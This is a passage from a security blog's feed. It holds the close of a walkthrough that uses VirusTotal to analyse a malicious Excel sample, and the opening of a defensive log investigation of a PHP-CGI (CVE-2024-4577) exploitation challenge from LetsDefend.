time in our analysis and quickly determine the file&amp;rsquo;s status.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll grab the file hash of the sample directly from a terminal window within our analysis environment by right-clicking in the folder and selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Open in Terminal&amp;quot;&#xA;to launch it.&lt;/p&gt;&#xA;&lt;p&gt;Once in the terminal, we can use the command below to calculate the SHA256 hash of the sample:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum &amp;lsquo;ORDER SHEET &amp;amp; SPEC.xlsm&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/6ba90d603d3b3c22fb741e94c9782957_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the file hash in hand, navigate to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and submit it to see if the file has been previously analyzed. Once the results load, you&amp;rsquo;ll notice that most security vendors have already detected the file as malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813&#34;  title=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To find the answer to &lt;strong&gt;Question 1&lt;/strong&gt;, navigate to the &lt;strong&gt;Details&lt;/strong&gt; tab of the submission, and look under &lt;strong&gt;History&lt;/strong&gt; to find the file&amp;rsquo;s creation time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;484px&#34; data-flex-grow=&#34;202&#34; height=&#34;396&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/83e01988e04686b0fb78ba86e96318ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/details&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Real World Tip:&lt;/strong&gt; If you&amp;rsquo;re new to using &lt;strong&gt;VirusTotal&lt;/strong&gt;, it&amp;rsquo;s important to remember that public submissions are made available to the security community. &lt;strong&gt;DO NOT upload anything that contains personal or confidential data.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1979px&#34; data-flex-grow=&#34;824&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/da69e4ba43450f70cc270e9057fc5869_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-with-what-name-is-the-file-detected-by-bitdefender-antivirus&#34;&gt;Question 2: With what name is the file detected by Bitdefender antivirus?&#xA;&lt;/h3&gt;&lt;p&gt;Navigate back to the &lt;strong&gt;Detection&lt;/strong&gt; tab of the &lt;strong&gt;VirusTotal&lt;/strong&gt; page. Under the &lt;strong&gt;security vendors&amp;rsquo; analysis&lt;/strong&gt; section, locate the malware threat name reported by &lt;strong&gt;Bitdefender.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;265px&#34; data-flex-grow=&#34;110&#34; height=&#34;722&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/58bfe6aaa2ce13b15aed9a0caa8095be_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/d505e480f3abf11c82a98a357410b138_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-how-many-files-are-dropped-on-thedisk&#34;&gt;Question 3: How many files are dropped on the disk?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing our analysis, let&amp;rsquo;s determine how many files are dropped on the disk once the malware is executed. We can locate this information on the &lt;strong&gt;Behavior&lt;/strong&gt; tab, scrolling down to the &lt;strong&gt;Files Dropped&lt;/strong&gt; section, and counting the entries.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;429px&#34; data-flex-grow=&#34;178&#34; height=&#34;447&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/2e2b4166153c67f51eeb5b00eaf92e29_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/949cf6eecdea37855d39e6138f845e46_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-sha-256-hash-of-the-file-with-emf-extension-itdrops&#34;&gt;Question 4: What is the sha-256 hash of the file with emf extension it drops?&#xA;&lt;/h3&gt;&lt;p&gt;Expanding on the information we collected in the last question; we need to locate a dropped file with the &lt;code&gt;.emf&lt;/code&gt; extension. Once we&amp;rsquo;ve found it, press the &lt;code&gt;+&lt;/code&gt; button to expand the selection, revealing the SHA256 hash of the dropped file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/dc3f0c4108cf3674abfd6093499d5731_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/9487c915a7e8cc480c132d0102a3a6ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-exact-url-to-which-the-relevant-file-goes-to-downloadspyware&#34;&gt;Question 5: What is the exact url to which the relevant file goes to download spyware?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question! There are several spots within &lt;strong&gt;VirusTotal&lt;/strong&gt; where we can determine the network communication but for this walkthrough, let&amp;rsquo;s use the &lt;strong&gt;Relations&lt;/strong&gt; tab and focus on the &lt;strong&gt;Contacted URLs&lt;/strong&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;Of the two URLs, we can see that one of them is hosting an executable file. That&amp;rsquo;s pretty suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;510px&#34; data-flex-grow=&#34;212&#34; height=&#34;376&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/9749ab9b656e3aebcdcd41b708645c64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/relations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/relations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Clicking the URL entry will take us to the &lt;strong&gt;VirusTotal&lt;/strong&gt; page for the URL where we can see that several vendors have identified it as malicious. I think we&amp;rsquo;ve found the answer to &lt;strong&gt;Question 5!&lt;/strong&gt; Now let&amp;rsquo;s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1103px&#34; data-flex-grow=&#34;459&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/104a0d3769674d58cbaa35e06863c7ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/url/ef74a71ba69605f7e6b528e74876ca52fa0b120b9e4850f7ec08871675ad9c49&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/url/ef74a71ba69605f7e6b528e74876ca52fa0b120b9e4850f7ec08871675ad9c49&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/c79dacca99f1304d720bb1652745e02d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/90284131e0147c7b34e647ff54eaed83_MD5.png&#34; width=&#34;528&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mission accomplished! By leveraging the power of &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, we successfully analyzed the malicious Excel file and learned about some of its behavior, including creation time, dropped files, and second stage URL. Now that we&amp;rsquo;ve completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/remote-working&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Remote Working&lt;/strong&gt;&lt;/a&gt; challenge.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for the fun lab. While this challenge isn&amp;rsquo;t especially difficult, it&amp;rsquo;s good hands-on practice using &lt;strong&gt;VirusTotal&lt;/strong&gt; and exploring some of its lesser-used features. These types of challenges would have been especially useful earlier in my own security journey to better understand what tools were available with practical applications to test with. I hope that this challenge helped pique your interest in using &lt;strong&gt;VirusTotal&lt;/strong&gt; in your own workflow!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and for going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Microsoft Support — File formats that are supported in Excel:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PHP-CGI (CVE-2024–4577) Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/</link>
            <pubDate>Mon, 27 Jan 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PHP-CGI (CVE-2024–4577) Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--php-cgi-cve-20244577-challenge-walkthrough&#34;&gt;LetsDefend — PHP-CGI (CVE-2024€“4577) Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-web-server-exploitation-attempt-using-apache--php-logs-notepad-and-the-windows-prefetch&#34;&gt;Investigating a web server exploitation attempt using Apache &amp;amp; PHP logs, Notepad++, and the Windows Prefetch.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP-CGI (CVE-2024€“4577)&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re jumping into the shoes of a security analyst to investigate an exploitation attempt against a critical web server. Our objective is to analyze the provided artifacts and determine which vulnerability the attacker attempted to exploit. To perform the investigation, we&amp;rsquo;ll navigate through several logs, including the Apache HTTP server logs, PHP logs, and Windows Prefetch files. The indicators of compromise found in these logs will help us ultimately identify the vulnerability (CVE) used in the attack. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;You will confront an attempted exploitation of a newly discovered and unpatched vulnerability (CVE-2024-XXXX) in a critical software component within your organization&amp;rsquo;s infrastructure. The CVE allows for remote code execution, posing a significant threat if successfully exploited. At 12:05 PM UTC, an alert is generated by the Intrusion Detection System (IDS) and Intrusion Prevention System (IPS), indicating an attack on one of your web servers. Your task is to analyze the provided artifacts, confirm the exploitation attempt, and answer the provided questions.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-version-of-php-was-running-on-the-server-during-the-incident&#34;&gt;Question 1: What version of PHP was running on the server during the incident?&#xA;&lt;/h3&gt;&lt;p&gt;Despite the title spoiling some of the mystery, let&amp;rsquo;s approach this challenge without any additional background about the vulnerability so that we can perform the investigation using the available artifacts. To get started, extract the artifacts from &lt;code&gt;artifacts.7z&lt;/code&gt; within the &lt;code&gt;ChallengeFile&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;Inside, we&amp;rsquo;ll find three folders that give us an idea of what artifacts are available for analysis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;642px&#34; data-flex-grow=&#34;267&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/47435a0f1e5094bcaa2072b97bdb2339_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Apache24:&lt;/strong&gt; This folder contains the files related to the &lt;strong&gt;Apache&lt;/strong&gt; &lt;strong&gt;HTTP Web Server&lt;/strong&gt;, including configuration files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;php:&lt;/strong&gt; This folder holds the &lt;strong&gt;PHP&lt;/strong&gt; runtime and its associated files and resources, including the executables, configuration files, logs, and temp files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;prefetch:&lt;/strong&gt; Prefetch files are used in &lt;strong&gt;Windows&lt;/strong&gt; to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll explore each of these folders during our investigation, but let&amp;rsquo;s start with the &lt;code&gt;php&lt;/code&gt; folder since we&amp;rsquo;re searching for the running &lt;strong&gt;PHP&lt;/strong&gt; version. But first, some background about &lt;strong&gt;PHP&lt;/strong&gt; from the &lt;a class=&#34;link&#34; href=&#34;https://www.php.net/manual/en/introduction.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP manual&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;PHP (recursive acronym for &lt;em&gt;PHP: Hypertext Preprocessor&lt;/em&gt;) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Instead of lots of commands to output HTML (as seen in C or Perl), PHP pages contain HTML with embedded code that does something&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;With that context, let&amp;rsquo;s start our search by locating any plaintext logs. We&amp;rsquo;ll stumble across &lt;code&gt;snapshots.txt&lt;/code&gt; in the root folder &lt;strong&gt;—&lt;/strong&gt; let&amp;rsquo;s see what&amp;rsquo;s inside by opening the file with &lt;strong&gt;Notepad++&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;936px&#34; data-flex-grow=&#34;390&#34; height=&#34;205&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/63f8200ffe3dff29127318bdd7cdc1d6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right at the top, we see some snapshot information that contains the version number of &lt;strong&gt;PHP&lt;/strong&gt;. It seems like we&amp;rsquo;re on the right track, but let&amp;rsquo;s go a step further and verify by executing &lt;code&gt;php.exe&lt;/code&gt; since we have it available, passing the &lt;code&gt;-v&lt;/code&gt; parameter. To do this, open the &lt;strong&gt;Windows Command Prompt&lt;/strong&gt; and run the following command from the php directory:&lt;/p&gt;&#xA;&lt;p&gt;php.exe -v&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1361px&#34; data-flex-grow=&#34;567&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/75a04ea9c1cb46bfa349703da148bfaa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This double-confirms our earlier finding that the PHP version is &lt;strong&gt;8.2.19&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1979px&#34; data-flex-grow=&#34;824&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/e34e6800d022e908fe6a646b3d041b91_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-php-is-configured-to-run-as-cgi-which-directive-in-httpdconf-specifies-the-scripts-that-handle-requests-for-phpfiles&#34;&gt;Question 2: When PHP is configured to run as CGI, which directive in httpd.conf specifies the scripts that handle requests for PHP files?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we first need to locate the &lt;code&gt;httpd.conf&lt;/code&gt; file. Searching the artifacts folder for &lt;code&gt;httpd.conf&lt;/code&gt; , we&amp;rsquo;ll discover that it&amp;rsquo;s located in the &lt;strong&gt;Apache24 &amp;gt; conf&lt;/strong&gt; folder. According to the &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/configuring.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Apache&lt;/strong&gt; documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Apache HTTP Server is configured by placing &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/mod/directives.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;directives&lt;/a&gt; in plain text configuration files. The main configuration file is usually called &lt;code&gt;httpd.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;640px&#34; data-flex-grow=&#34;266&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/dfd14c12aa74576c2ad70467cb22749a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s open the file in &lt;strong&gt;Notepad++&lt;/strong&gt; and search for &lt;code&gt;php-cgi.exe&lt;/code&gt; to help us locate the correct directive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/c811f0988339ea3a59da969679512c99_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The search takes us directly to the line above. Notice the 